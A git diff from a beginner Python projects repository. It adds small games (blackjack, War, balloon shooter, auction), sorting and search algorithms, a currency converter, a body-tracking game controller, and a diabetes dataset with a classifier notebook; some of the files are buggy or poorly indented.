Projects/linearEquation.py similarity index 94% rename from Projects/linearEquation.py rename to Projects/Algo Projects/linearEquation.py index ad7f451a5..64563d99a 100644 --- a/Projects/linearEquation.py +++ b/Projects/Algo Projects/linearEquation.py @@ -1,35 +1,35 @@ -# -*- coding: utf-8 -*- -""" -Created on Tue Oct 4 23:46:02 2022 - -@author: INAKKAM -""" - -str1 = "x + 30 = 53" -a = [] -for ele in str1.split(): - a.append(ele) - -a1=a[0] -op=a[1] -b=a[2] -c=a[4] - -if ele in a: - if ele.find('x'): - if op =="+": - new_a=int(c)-int(b) - if op =="-": - new_a=b+c - if op =="*": - new_a=c/b - if op =="/": - new_a=c*b - new_a1=str(new_a) - if a1!='x': - for i in range(len(a1)): - if a1[i]=='x': - x=new_a1[i] - else: - x=new_a +# -*- coding: utf-8 -*- +""" +Created on Tue Oct 4 23:46:02 2022 + +@author: INAKKAM +""" + +str1 = "x + 30 = 53" +a = [] +for ele in str1.split(): + a.append(ele) + +a1=a[0] +op=a[1] +b=a[2] +c=a[4] + +if ele in a: + if ele.find('x'): + if op =="+": + new_a=int(c)-int(b) + if op =="-": + new_a=b+c + if op =="*": + new_a=c/b + if op =="/": + new_a=c*b + new_a1=str(new_a) + if a1!='x': + for i in range(len(a1)): + if a1[i]=='x': + x=new_a1[i] + else: + x=new_a print(x) \ No newline at end of file diff --git a/Projects/simple_alarm_clock.py b/Projects/Algo Projects/simple_alarm_clock.py similarity index 100% rename from Projects/simple_alarm_clock.py rename to Projects/Algo Projects/simple_alarm_clock.py diff --git a/Projects/taxation_calculation.py b/Projects/Algo Projects/taxation_calculation.py similarity index 100% rename from Projects/taxation_calculation.py rename to Projects/Algo Projects/taxation_calculation.py diff --git a/Projects/Algorithms/BubbleSort.py b/Projects/Algorithms/BubbleSort.py new file mode 100644 index 000000000..39bb7bbdc --- /dev/null +++ b/Projects/Algorithms/BubbleSort.py @@ -0,0 +1,13 @@ +def bubblesort(list): + + for iter_num in range(len(list)-1,0,-1): + for idx in range(iter_num): + if list[idx]>list[idx+1]: + temp = list[idx] + list[idx] = list[idx+1] + list[idx+1] = temp +list = [19,2,31,45,6,11,121,27] +bubblesort(list) +print(list) + +#Output: [2, 6, 11, 19, 27, 31, 45, 121] diff --git a/Projects/Algorithms/InsertionSort.py b/Projects/Algorithms/InsertionSort.py new file mode 100644 index 000000000..d69ceb09b --- /dev/null +++ b/Projects/Algorithms/InsertionSort.py @@ -0,0 +1,23 @@ +def insertionSort(a): # Function to implement insertion sort + for i in range(1, len(a)): + temp = a[i] + + # Move the elements greater than temp to one position + #ahead from their current position + j = i-1 + while j >= 0 and temp < a[j] : + a[j + 1] = a[j] + j = j-1 + a[j + 1] = temp + +def printArr(a): # function to print the array + + for i in range(len(a)): + print (a[i], end = " ") + +a = [70, 15, 2, 51, 60] +print("Before sorting array elements are - ") +printArr(a) +insertionSort(a) +print("\nAfter sorting array elements are - ") +printArr(a) \ No newline at end of file diff --git a/Projects/Algorithms/Merge_sort.py b/Projects/Algorithms/Merge_sort.py new file mode 100644 index 000000000..7e9e62cc2 --- /dev/null +++ b/Projects/Algorithms/Merge_sort.py @@ -0,0 +1,66 @@ +# Python program for implementation of MergeSort + + +def merge(arr, l, m, r): + n1 = m - l + 1 + n2 = r - m + + + L = [0] * (n1) + R = [0] * (n2) + + + for i in range(0, n1): + L[i] = arr[l + i] + + for j in range(0, n2): + R[j] = arr[m + 1 + j] + + + i = 0 + j = 0 + k = l + + while i < n1 and j < n2: + if L[i] <= R[j]: + arr[k] = L[i] + i += 1 + else: + arr[k] = R[j] + j += 1 + k += 1 + + while i < n1: + arr[k] = L[i] + i += 1 + k += 1 + while j < n2: + arr[k] = R[j] + j += 1 + k += 1 + + + + +def mergeSort(arr, l, r): + if l < r: + + m = l+(r-l)//2 + + mergeSort(arr, l, m) + mergeSort(arr, m+1, r) + merge(arr, l, m, r) + + +arr = [12, 11, 13, 5, 6, 7] +n = len(arr) +print("Given array is") +for i in range(n): + print("%d" % arr[i],end=" ") + +mergeSort(arr, 0, n-1) +print("\n\nSorted array is") +for i in range(n): + print("%d" % arr[i],end=" ") + + diff --git a/Projects/Algorithms/SelectionSort.py b/Projects/Algorithms/SelectionSort.py new file mode 100644 index 000000000..9e0d8c345 --- /dev/null +++ b/Projects/Algorithms/SelectionSort.py @@ -0,0 +1,13 @@ +def selection_sort(input_list): + for idx in range(len(input_list)): + min_idx = idx + for j in range( idx +1, len(input_list)): + if input_list[min_idx] > input_list[j]: + min_idx = j + + input_list[idx], input_list[min_idx] = input_list[min_idx], input_list[idx] +l = [19,2,31,45,30,11,121,27] +selection_sort(l) +print(l) + +#Output: [2, 11, 19, 27, 30, 31, 45, 121] \ No newline at end of file diff --git a/Projects/Algorithms/ShellSort.py b/Projects/Algorithms/ShellSort.py new file mode 100644 index 000000000..e30f5873c --- /dev/null +++ b/Projects/Algorithms/ShellSort.py @@ -0,0 +1,18 @@ +def shellSort(input_list): + gap = len(input_list) // 2 + while gap > 0: + for i in range(gap, len(input_list)): + temp = input_list[i] + j = i + + while j >= gap and input_list[j - gap] > temp: + input_list[j] = input_list[j - gap] + j = j-gap + input_list[j] = temp + + gap = gap//2 +list = [19,2,31,45,30,11,121,27] +shellSort(list) +print(list) + +#Output: [2, 11, 19, 27, 30, 31, 45, 121] \ No newline at end of file diff --git a/Projects/Aunctiongame/auction.py b/Projects/Aunctiongame/auction.py new file mode 100644 index 000000000..3a0e48f6e --- /dev/null +++ b/Projects/Aunctiongame/auction.py @@ -0,0 +1,57 @@ +logo = ''' + ___________ + \ / + )_______( + |"""""""|_.-._,.---------.,_.-._ + | | | | | | ''-. + | |_| |_ _| |_..-' + |_______| '-' `'---------'` '-' + )"""""""( + /_________\\ + .-------------. + /_______________\\ +''' + +print(logo) + +print('*******************Welcome To Online Auction***********************') + +bids={} + +bidding_finished=False + +def find_highest_bidder(bidding_record): + + highest_bid = 0 + + for bidder in bidding_record: + + bid_amount = bidding_record[bidder] + + if bid_amount > highest_bid : + + highest_bid = bid_amount + + winner = bidder + + print(f'The Winner Is "{winner}" With A Bid Amount Of "{highest_bid}"') + +while not bidding_finished: + + name=input('What is your name ?: ') + + price=int(input('What is your Bid ? ₹: ')) + + bids[name] = price + + should_continue =input('Are there any other bidders ? Type YES/NO ').lower() + + if should_continue == 'no': + + bidding_finished = True + + find_highest_bidder(bids) + + elif should_continue == 'yes': + + pass diff --git a/Projects/BalloonShooter/BalloonShooter.py b/Projects/BalloonShooter/BalloonShooter.py new file mode 100644 index 000000000..0a4956df6 --- /dev/null +++ b/Projects/BalloonShooter/BalloonShooter.py @@ -0,0 +1,189 @@ +# ----------------------------------------------------------------------------- +# +# Balloon Shooter +# Language - Python +# Modules - pygame, sys, random, math +# +# Controls - Mouse +# +# By - Jatin Kumar Mandav +# +# Website - https://jatinmandav.wordpress.com +# +# YouTube Channel - https://www.youtube.com/channel/UCdpf6Lz3V357cIZomPwjuFQ +# Twitter - @jatinmandav +# +# ----------------------------------------------------------------------------- + +import pygame +import sys +import random +from math import * + +pygame.init() + +width = 500 +height = 500 + +display = pygame.display.set_mode((width, height)) +pygame.display.set_caption("Balloon Shooter") +clock = pygame.time.Clock() + +margin = 100 +lowerBound = 100 + +score = 0 + +# Colors +white = (230, 230, 230) +lightBlue = (174, 214, 241) +red = (231, 76, 60) +lightGreen = (25, 111, 61) +darkGray = (40, 55, 71) +darkBlue = (21, 67, 96) +green = (35, 155, 86) +yellow = (244, 208, 63) +blue = (46, 134, 193) +purple = (155, 89, 182) +orange = (243, 156, 18) + +font = pygame.font.SysFont("Snap ITC", 25) + +# Balloon Class +class Balloon: + def __init__(self, speed): + self.a = random.randint(30, 40) + self.b = self.a + random.randint(0, 10) + self.x = random.randrange(margin, width - self.a - margin) + self.y = height - lowerBound + self.angle = 90 + self.speed = -speed + self.probPool = [-1, -1, -1, 0, 0, 0, 0, 1, 1, 1] + self.length = random.randint(50, 100) + self.color = random.choice([red, green, purple, orange, yellow, blue]) + + # Move balloon around the Screen + def move(self): + direct = random.choice(self.probPool) + + if direct == -1: + self.angle += -10 + elif direct == 0: + self.angle += 0 + else: + self.angle += 10 + + self.y += self.speed*sin(radians(self.angle)) + self.x += self.speed*cos(radians(self.angle)) + + if (self.x + self.a > width) or (self.x < 0): + if self.y > height/5: + self.x -= self.speed*cos(radians(self.angle)) + else: + self.reset() + if self.y + self.b < 0 or self.y > height + 30: + self.reset() + + # Show/Draw the balloon + def show(self): + pygame.draw.line(display, darkBlue, (self.x + self.a/2, self.y + self.b), (self.x + self.a/2, self.y + self.b + self.length)) + pygame.draw.ellipse(display, self.color, (self.x, self.y, self.a, self.b)) + pygame.draw.ellipse(display, self.color, (self.x + self.a/2 - 5, self.y + self.b - 3, 10, 10)) + + # Check if Balloon is bursted + def burst(self): + global score + pos = pygame.mouse.get_pos() + + if onBalloon(self.x, self.y, self.a, self.b, pos): + score += 1 + self.reset() + + # Reset the Balloon + def reset(self): + self.a = random.randint(30, 40) + self.b = self.a + random.randint(0, 10) + self.x = random.randrange(margin, width - self.a - margin) + self.y = height - lowerBound + self.angle = 90 + self.speed -= 0.002 + self.probPool = [-1, -1, -1, 0, 0, 0, 0, 1, 1, 1] + self.length = random.randint(50, 100) + self.color = random.choice([red, green, purple, orange, yellow, blue]) + +balloons = [] +noBalloon = 10 +for i in range(noBalloon): + obj = Balloon(random.choice([1, 1, 2, 2, 2, 2, 3, 3, 3, 4])) + balloons.append(obj) + +def onBalloon(x, y, a, b, pos): + if (x < pos[0] < x + a) and (y < pos[1] < y + b): + return True + else: + return False + +# show the location of Mouse +def pointer(): + pos = pygame.mouse.get_pos() + r = 25 + l = 20 + color = lightGreen + for i in range(noBalloon): + if onBalloon(balloons[i].x, balloons[i].y, balloons[i].a, balloons[i].b, pos): + color = red + pygame.draw.ellipse(display, color, (pos[0] - r/2, pos[1] - r/2, r, r), 4) + pygame.draw.line(display, color, (pos[0], pos[1] - l/2), (pos[0], pos[1] - l), 4) + pygame.draw.line(display, color, (pos[0] + l/2, pos[1]), (pos[0] + l, pos[1]), 4) + pygame.draw.line(display, color, (pos[0], pos[1] + l/2), (pos[0], pos[1] + l), 4) + pygame.draw.line(display, color, (pos[0] - l/2, pos[1]), (pos[0] - l, pos[1]), 4) + +def lowerPlatform(): + pygame.draw.rect(display, darkGray, (0, height - lowerBound, width, lowerBound)) + +def showScore(): + scoreText = font.render("Balloons Bursted : " + str(score), True, white) + display.blit(scoreText, (150, height - lowerBound + 50)) + + +def close(): + pygame.quit() + sys.exit() + +def game(): + global score + loop = True + + while loop: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + close() + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_q: + close() + if event.key == pygame.K_r: + score = 0 + game() + + if event.type == pygame.MOUSEBUTTONDOWN: + for i in range(noBalloon): + balloons[i].burst() + + display.fill(lightBlue) + + for i in range(noBalloon): + balloons[i].show() + + pointer() + + for i in range(noBalloon): + balloons[i].move() + + + lowerPlatform() + showScore() + pygame.display.update() + clock.tick(60) + + +game() diff --git a/Projects/Barnsley_fern/barnsley_fern.py b/Projects/Barnsley_fern/barnsley_fern.py new file mode 100644 index 000000000..1915fd319 --- /dev/null +++ b/Projects/Barnsley_fern/barnsley_fern.py @@ -0,0 +1,29 @@ +''' +simulation of barnsley fern (fractal) using python3. +Author-Ashutosh(0Pixel0) +''' + +import turtle +import random + +pen = turtle.Turtle() +pen.speed(0) +pen.color("green") +pen.penup() + +x = 0 +y = 0 +for n in range(11000): + pen.goto(65 * x, 37 * y - 252) # scaling + pen.pendown() + pen.dot(3) + pen.penup() + r = random.random() + if r < 0.01: + x, y = 0.00 * x + 0.00 * y, 0.00 * x + 0.16 * y + 0.00 + elif r < 0.86: + x, y = 0.85 * x + 0.04 * y, -0.04 * x + 0.85 * y + 1.60 + elif r < 0.93: + x, y = 0.20 * x - 0.26 * y, 0.23 * x + 0.22 * y + 1.60 + else: + x, y = -0.15 * x + 0.28 * y, 0.26 * x + 0.24 * y + 0.44 \ No newline at end of file diff --git a/Projects/Binary Search Algorithm/Binary Search Algorithm.py b/Projects/Binary Search Algorithm/Binary Search Algorithm.py new file mode 100644 index 000000000..2317da005 --- /dev/null +++ b/Projects/Binary Search Algorithm/Binary Search Algorithm.py @@ -0,0 +1,19 @@ +def binarySearch(array, x, low, high): + if high >= low: + mid = low + (high - low)//2 + if array[mid] == x: + return mid + elif array[mid] > x: + return binarySearch(array, x, low, mid-1) + else: + return binarySearch(array, x, mid + 1, high) + else: + return -1 + +array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] +x = int(input("Enter a number between 1 and 10:")) +result = binarySearch(array, x, 0, len(array)-1) +if result != -1: + print("Element is present at position " + str(result)) +else: + print("Element not found") diff --git a/Projects/Binary/binary.py b/Projects/Binary/binary.py new file mode 100644 index 000000000..4c6ee7bce --- /dev/null +++ b/Projects/Binary/binary.py @@ -0,0 +1,43 @@ +# Recursive Binary Search algorithm in Python + +def binarySearch(array, x, low, high): + +if high >= low: + +mid = low + (high - low)//2 + +# If found at mid, return the value + +if array[mid] == x: + +return mid + +# Search the first half + +elif array[mid] > x: + +return binarySearch(array, x, low, mid-1) + +# Search the second half + +else: + +return binarySearch(array, x, mid + 1, high) + +else: + +return -1 + +array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] + +x = int(input("Enter a number between 1 and 10:")) + +result = binarySearch(array, x, 0, len(array)-1) + +if result != -1: + +print("Element is present at position" + str(result)) + +else: + +print("Element not found") diff --git a/Projects/BlackjackGame/blackjack.py b/Projects/BlackjackGame/blackjack.py new file mode 100644 index 000000000..06ee8615f --- /dev/null +++ b/Projects/BlackjackGame/blackjack.py @@ -0,0 +1,230 @@ +""" +Author: Akshat Bhat +Description: A OOP-based Python program for the classic blackjac game +""" + +import random +# Global Variables +suits = ('Hearts', 'Diamonds', 'Spades', 'Clubs') +ranks = ('Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 'Eight', 'Nine', 'Ten', 'Jack', 'Queen', 'King', 'Ace') +values = {'Two':2, 'Three':3, 'Four':4, 'Five':5, 'Six':6, 'Seven':7, 'Eight':8, 'Nine':9, 'Ten':10, 'Jack':10,'Queen':10, 'King':10, 'Ace':11} +# Later Ace will be made 1 if needed but always first consider Ace value to be 11 +playing = True +total = None + +print("WELCOME TO BLACKJACK - GAME BETWEEN COMPUTER DEALER AND HUMAN PLAYER\n") + +while True: + try: + total = int(input("Enter initial amount of chips you have: ")) + except: + print('We take only Integer Value. Please provide an integer.\n') + else: + break + +class Card(): + + def __init__(self,suit,rank): + self.suit = suit + self.rank = rank + + def __str__(self): + return "{} of {}".format(self.rank,self.suit) + +class Deck(): + + def __init__(self): + self.deck = [] # start with an empty list + for suit in suits: + for rank in ranks: + card = Card(suit,rank) + (self.deck).append(card) + + def __str__(self): + returnstring = '' + for card in self.deck: + returnstring += '\n' + card.__str__() + return "The deck has:- " + returnstring + + def shuffle(self): + random.shuffle(self.deck) + + def deal(self): + single_card = (self.deck).pop() + return single_card + +class Hand(): # Basically a representation of a player + + def __init__(self): + self.cards = [] # start with an empty list as we did in the Deck class + self.value = 0 # start with zero value + self.aces = 0 # add an attribute to keep track of aces + + def add_card(self,card): + (self.cards).append(card) + self.value += values[card.rank] + + #track Aces + if card.rank is 'Ace': + self.aces += 1 + + def adjust_for_ace(self): + # if total value is more than 21 and I still have an Ace then change the Ace value to one instead of eleven which was initial Ace value + # so reduce the total value by 10 and no. of Aces by 1 (as now Ace value is 1) + while self.value>21 and self.aces!=0: + self.value -= 10 + self.aces -= 1 + +class Chips(): + + def __init__(self): + self.bet = 0 + + def win_bet(self): + global total + total += self.bet + + def lose_bet(self): + global total + total -= self.bet + +def take_bet(chips): + while True: + try: + chips.bet = int(input('How many chips would you like to bet? ')) + except: + print('We take only Integer Value. Please provide an integer.\n') + else: + if chips.bet>total: + print('Insufficient Chips! You have {} chips only!\n'.format(total)) + else: + print('Your bet was {}!\n'.format(chips.bet)) + break + +def hit(deck,hand): + hand.add_card(deck.deal()) + hand.adjust_for_ace() + +def hit_or_stand(deck,hand): + global playing # to control an game running while loop + while True: + print("Hit(h) or Stand(s)?") + c = input("Your Choice: ") + if c == 'h': + hit(deck,hand) + if hand.value>21: + break + show_some(playerhand,dealerhand) + elif c =='s': + print("Player Stands! Dealer's turn...\n") + playing = False + break + else: + print('Wrong input! Enter again...\n') + +def show_some(player,dealer): + playerhand = '' + dealerhand = '' + for card in player.cards: + playerhand += '\n' + card.__str__() + print("PLAYER HAND:- " + playerhand +"\n") + for card in dealer.cards[1:]: + dealerhand += '\n' + card.__str__() + print("DEALER HAND(Top card hidden so not shown):- " + dealerhand +"\n") + +def show_all(player,dealer): + playerhand = '' + dealerhand = '' + for card in player.cards: + playerhand += '\n' + card.__str__() + print("PLAYER HAND:- " + playerhand +"\n") + for card in dealer.cards: + dealerhand += '\n' + card.__str__() + print("DEALER HAND(All shown):- " + dealerhand +"\n") + +def player_busts(chips): + print("PLAYER BUST!\n") + chips.lose_bet() + +def player_wins(chips): + print("PLAYER WINS!\n") + chips.win_bet() + +def dealer_busts(chips): + print("DEALER BUST!\n") + print("PLAYER WINS!\n") + chips.win_bet() + +def dealer_wins(chips): + print("DEALER WINS!\n") + chips.lose_bet() + +def push(): + print('Dealer and Player Tie! PUSH!!\n') + + +while True: + print("\nSTARTING A NEW GAME...\n") + deck = Deck() + deck.shuffle() + print("Deck Shuffled...\n") + + playerhand = Hand() + playerhand.add_card(deck.deal()) + playerhand.add_card(deck.deal()) + print("Two cards dealt to Player...\n") + + dealerhand = Hand() + dealerhand.add_card(deck.deal()) + dealerhand.add_card(deck.deal()) + print("Two cards dealt to Dealer...\n") + + playerchips = Chips() + take_bet(playerchips) + + show_some(playerhand,dealerhand) + + if playerhand.value==21: + print("PLAYER WINS ON ACCOUNT OF BLACKJACK!!!") + player_wins(playerchips) + playing = False + + while playing: # recall this variable from our hit_or_stand function + + hit_or_stand(deck,playerhand) + show_some(playerhand,dealerhand) + + if playerhand.value>21: + player_busts(playerchips) + break + else: + while dealerhand.value<=17: + print("Dealer Hits...\n") + hit(deck,dealerhand) + show_all(playerhand,dealerhand) + print("FINAL HANDS:- ") + show_all(playerhand,dealerhand) + if dealerhand.value>21: + dealer_busts(playerchips) + elif playerhand.valuedealerhand.value: + player_wins(playerchips) + elif playerhand.value==dealerhand.value: + push() + + print("\nPlayer Total Chips = {}".format(total)) + + if total==0: + print("\nYou have lost all your chips!!") + print("Thank you for playing Blackjack!\n") + break + + choice = input("Would you like to play another hand? (y/n)\n") + if choice[0].lower()=='y': + playing = True + print("\n"*100) + continue + elif choice[0].lower()=='n': + print("\nThank you for playing Blackjack!\nYou are going home with {} chips!\n".format(total)) + break \ No newline at end of file diff --git a/Projects/Blind Auction.py b/Projects/BlindAuction/Blind Auction.py similarity index 100% rename from Projects/Blind Auction.py rename to Projects/BlindAuction/Blind Auction.py diff --git a/Projects/Body_Tracking/Readme.txt b/Projects/Body_Tracking/Readme.txt new file mode 100644 index 000000000..fc22fdff0 --- /dev/null +++ b/Projects/Body_Tracking/Readme.txt @@ -0,0 +1,5 @@ +The proposed Computer Graphics project is Endless Runner with Body Tracking. This is +designed and developed for an interactive gaming experience through real physical movement. +This provides a unique and engaging method of exercise and entertainment and proves to be a +better method of exercise than traditional method of exercising. +This current program can be used to play subway surfers. \ No newline at end of file diff --git a/Projects/Body_Tracking/main.py b/Projects/Body_Tracking/main.py new file mode 100644 index 000000000..df4d5dd19 --- /dev/null +++ b/Projects/Body_Tracking/main.py @@ -0,0 +1,110 @@ +import cv2 +import mediapipe as mp +import pyautogui + +mp_drawing = mp.solutions.drawing_utils +mp_drawing_styles = mp.solutions.drawing_styles +mp_pose = mp.solutions.pose + +boundaries = {"left":0.6,"right":0.4,"bottom":0.6,"top":0.4} +states = ("left","right","up","down","center") +x,y = 0.5,0.5 +cap = cv2.VideoCapture(0) +cur_state = "idle" +new_state = "idle" +tutorial = True +flag = False + +def move(key): + print(key) + pyautogui.press(key) + +def transition(): + global cur_state + if new_state!= cur_state: + if cur_state == states[4] and (new_state == states[1] or new_state == states[0]): + move(new_state) + elif new_state == states[4] and (cur_state == states[1] or cur_state == states[0]): + if cur_state == states[1]: + move(states[0]) + else: + move(states[1]) + elif new_state == states[3] or new_state == states[2]: + move(new_state) + + cur_state = new_state + +def check(): + global cur_state + global new_state + #print(state) + if y < boundaries["top"]: + new_state = states[2] + elif y > boundaries["bottom"]: + new_state = states[3] + elif x >boundaries["left"]: + new_state = states[0] + elif x c2.value: + return True + if self.value == c2.value: + if self.suit > c2.suit: + return True + else: + return False + return False + + def __repr__(self): + v = self.values[self.value] +\ + " of " + \ + self.suits[self.suit] + return v + + +class Deck: + def __init__(self): + self.cards = [] + for i in range(2, 15): + for j in range(4): + self.cards\ + .append(Card(i, + j)) + shuffle(self.cards) + + def rm_card(self): + if len(self.cards) == 0: + return + return self.cards.pop() + + +class Player: + def __init__(self, name): + self.wins = 0 + self.card = None + self.name = name + + +class Game: + def __init__(self): + name1 = input("p1 name ") + name2 = input("p2 name ") + self.deck = Deck() + self.p1 = Player(name1) + self.p2 = Player(name2) + + def wins(self, winner): + w = "{} wins this round" + w = w.format(winner) + print(w) + + def draw(self, p1n, p1c, p2n, p2c): + d = "{} drew {} {} drew {}" + d = d.format(p1n, + p1c, + p2n, + p2c) + print(d) + + def play_game(self): + cards = self.deck.cards + print("beginning War!") + while len(cards) >= 2: + m = "q to quit. Any " + \ + "key to play:" + response = input(m) + if response == 'q': + break + p1c = self.deck.rm_card() + p2c = self.deck.rm_card() + p1n = self.p1.name + p2n = self.p2.name + self.draw(p1n, + p1c, + p2n, + p2c) + if p1c > p2c: + self.p1.wins += 1 + self.wins(self.p1.name) + else: + self.p2.wins += 1 + self.wins(self.p2.name) + + win = self.winner(self.p1, + self.p2) + print("War is over.{} wins" + .format(win)) + + def winner(self, p1, p2): + if p1.wins > p2.wins: + return p1.name + if p1.wins < p2.wins: + return p2.name + return "It was a tie!" + +game = Game() +game.play_game() diff --git a/Projects/Countdown.py b/Projects/Countdown/Countdown.py similarity index 100% rename from Projects/Countdown.py rename to Projects/Countdown/Countdown.py diff --git a/Projects/Currency_Converter/currency.txt b/Projects/Currency_Converter/currency.txt new file mode 100644 index 000000000..a5ffcbb5b --- /dev/null +++ b/Projects/Currency_Converter/currency.txt @@ -0,0 +1,53 @@ +Argentine Peso 1.430663 0.698977 +Australian Dollar 0.018442 54.224147 +Bahraini Dinar 0.005007 199.737636 +Botswana Pula 0.154066 6.490709 +Brazilian Real 0.068745 14.546487 +British Pound 0.009929 100.713535 +Bruneian Dollar 0.018025 55.478966 +Bulgarian Lev 0.023105 43.281213 +Canadian Dollar 0.016947 59.008653 +Chilean Peso 10.679848 0.093634 +Chinese Yuan Renminbi 0.084119 11.887963 +Colombian Peso 52.110363 0.019190 +Croatian Kuna 0.089464 11.177712 +Czech Koruna 0.292189 3.422443 +Danish Krone 0.087926 11.373251 +Emirati Dirham 0.048901 20.449653 +Euro 0.011813 84.650695 +Hong Kong Dollar 0.103973 9.617837 +Hungarian Forint 4.312986 0.231858 +Icelandic Krona 1.672349 0.597961 +Indonesian Rupiah 191.232927 0.005229 +Iranian Rial 559.580666 0.001787 +Israeli Shekel 0.043021 23.244435 +Japanese Yen 1.540616 0.649091 +Kazakhstani Tenge 6.099784 0.163940 +Kuwaiti Dinar 0.004044 247.287192 +Libyan Dinar 0.061120 16.361238 +Malaysian Ringgit 0.055943 17.875477 +Mauritian Rupee 0.590534 1.693382 +Mexican Peso 0.270973 3.690406 +Nepalese Rupee 1.600750 0.624707 +New Zealand Dollar 0.019750 50.633863 +Norwegian Krone 0.117561 8.506187 +Omani Rial 0.005120 195.322109 +Pakistani Rupee 2.358387 0.424019 +Philippine Peso 0.683529 1.462996 +Polish Zloty 0.054730 18.271525 +Qatari Riyal 0.048468 20.632239 +Romanian New Leu 0.058482 17.099216 +Russian Ruble 1.112584 0.898808 +Saudi Arabian Riyal 0.049933 20.027027 +Singapore Dollar 0.018025 55.478966 +South African Rand 0.201689 4.958131 +South Korean Won 15.949900 0.062696 +Sri Lankan Rupee 2.693250 0.371299 +Swedish Krona 0.125067 7.995716 +Swiss Franc 0.012328 81.114574 +Taiwan New Dollar 0.373016 2.680849 +Thai Baht 0.432023 2.314692 +Trinidadian Dollar 0.090364 11.066325 +Turkish Lira 0.184480 5.420641 +US Dollar 0.013315 75.101351 +Venezuelan Bolivar 5825.129315 0.000172 diff --git a/Projects/Currency_Converter/currencyconv.py b/Projects/Currency_Converter/currencyconv.py new file mode 100644 index 000000000..1ed9fba34 --- /dev/null +++ b/Projects/Currency_Converter/currencyconv.py @@ -0,0 +1,13 @@ +with open('currency.txt') as f: + lines=f.readlines() + +currencyDic={} +for line in lines: + parsed=line.split("\t") + currencyDic[parsed[0]]=parsed[1] + +amount=int(input("Enter amount in INR:\n")) +print("Enter the name of currency you want to convert this amount to? Available options are:\n") +[print(item) for item in currencyDic.keys()] +currency = input("Please enter one of these values:\n") +print(f'{amount} INR is equal to {amount * float(currencyDic[currency])} {currency}') diff --git a/Projects/Diabetes_Prediction/classifier.pkl b/Projects/Diabetes_Prediction/classifier.pkl new file mode 100644 index 000000000..4890f8a46 Binary files /dev/null and b/Projects/Diabetes_Prediction/classifier.pkl differ diff --git a/Projects/Diabetes_Prediction/diabetes.csv b/Projects/Diabetes_Prediction/diabetes.csv new file mode 100644 index 000000000..db6f31768 --- /dev/null +++ b/Projects/Diabetes_Prediction/diabetes.csv @@ -0,0 +1,769 @@ +Pregnancies,Glucose,BloodPressure,SkinThickness,Insulin,BMI,DiabetesPedigreeFunction,Age,Outcome +6,148,72,35,0,33.6,0.627,50,1 +1,85,66,29,0,26.6,0.351,31,0 +8,183,64,0,0,23.3,0.672,32,1 +1,89,66,23,94,28.1,0.167,21,0 +0,137,40,35,168,43.1,2.288,33,1 +5,116,74,0,0,25.6,0.201,30,0 +3,78,50,32,88,31,0.248,26,1 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b/Projects/Diabetes_Prediction/diabetes_classifier.ipynb new file mode 100644 index 000000000..6111f3405 --- /dev/null +++ b/Projects/Diabetes_Prediction/diabetes_classifier.ipynb @@ -0,0 +1,1243 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Importing necessary libraries" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "import pickle\n", + "import pandas as pd\n", + "import numpy as np\n", + "import seaborn as sns\n", + "import matplotlib.pyplot as plt\n", + "from scipy.stats import boxcox\n", + "from scipy import stats\n", + "from sklearn.preprocessing import StandardScaler\n", + "from sklearn.svm import SVC\n", + "from sklearn.naive_bayes import GaussianNB\n", + "from sklearn.ensemble import RandomForestClassifier\n", + "from sklearn.linear_model import LogisticRegression\n", + "from sklearn.model_selection import train_test_split" + ] + }, + { + "cell_type": "code", + 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PregnanciesGlucoseBloodPressureSkinThicknessInsulinBMIDiabetesPedigreeFunctionAgeOutcome
061487235033.60.627501
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28183640023.30.672321
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" + ], + "text/plain": [ + " Pregnancies Glucose BloodPressure SkinThickness Insulin BMI \\\n", + "0 6 148 72 35 0 33.6 \n", + "1 1 85 66 29 0 26.6 \n", + "2 8 183 64 0 0 23.3 \n", + "3 1 89 66 23 94 28.1 \n", + "4 0 137 40 35 168 43.1 \n", + "\n", + " DiabetesPedigreeFunction Age Outcome \n", + "0 0.627 50 1 \n", + "1 0.351 31 0 \n", + "2 0.672 32 1 \n", + "3 0.167 21 0 \n", + "4 2.288 33 1 " + ] + }, + "execution_count": 2, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data = pd.read_csv('diabetes.csv')\n", + "data.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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PregnanciesGlucoseBloodPressureSkinThicknessInsulinBMIDiabetesPedigreeFunctionAgeOutcome
count768.000000768.000000768.000000768.000000768.000000768.000000768.000000768.000000768.000000
mean3.845052120.89453169.10546920.53645879.79947931.9925780.47187633.2408850.348958
std3.36957831.97261819.35580715.952218115.2440027.8841600.33132911.7602320.476951
min0.0000000.0000000.0000000.0000000.0000000.0000000.07800021.0000000.000000
25%1.00000099.00000062.0000000.0000000.00000027.3000000.24375024.0000000.000000
50%3.000000117.00000072.00000023.00000030.50000032.0000000.37250029.0000000.000000
75%6.000000140.25000080.00000032.000000127.25000036.6000000.62625041.0000001.000000
max17.000000199.000000122.00000099.000000846.00000067.1000002.42000081.0000001.000000
\n", + "
" + ], + "text/plain": [ + " Pregnancies Glucose BloodPressure SkinThickness Insulin \\\n", + "count 768.000000 768.000000 768.000000 768.000000 768.000000 \n", + "mean 3.845052 120.894531 69.105469 20.536458 79.799479 \n", + "std 3.369578 31.972618 19.355807 15.952218 115.244002 \n", + "min 0.000000 0.000000 0.000000 0.000000 0.000000 \n", + "25% 1.000000 99.000000 62.000000 0.000000 0.000000 \n", + "50% 3.000000 117.000000 72.000000 23.000000 30.500000 \n", + "75% 6.000000 140.250000 80.000000 32.000000 127.250000 \n", + "max 17.000000 199.000000 122.000000 99.000000 846.000000 \n", + "\n", + " BMI DiabetesPedigreeFunction Age Outcome \n", + "count 768.000000 768.000000 768.000000 768.000000 \n", + "mean 31.992578 0.471876 33.240885 0.348958 \n", + "std 7.884160 0.331329 11.760232 0.476951 \n", + "min 0.000000 0.078000 21.000000 0.000000 \n", + "25% 27.300000 0.243750 24.000000 0.000000 \n", + "50% 32.000000 0.372500 29.000000 0.000000 \n", + "75% 36.600000 0.626250 41.000000 1.000000 \n", + "max 67.100000 2.420000 81.000000 1.000000 " 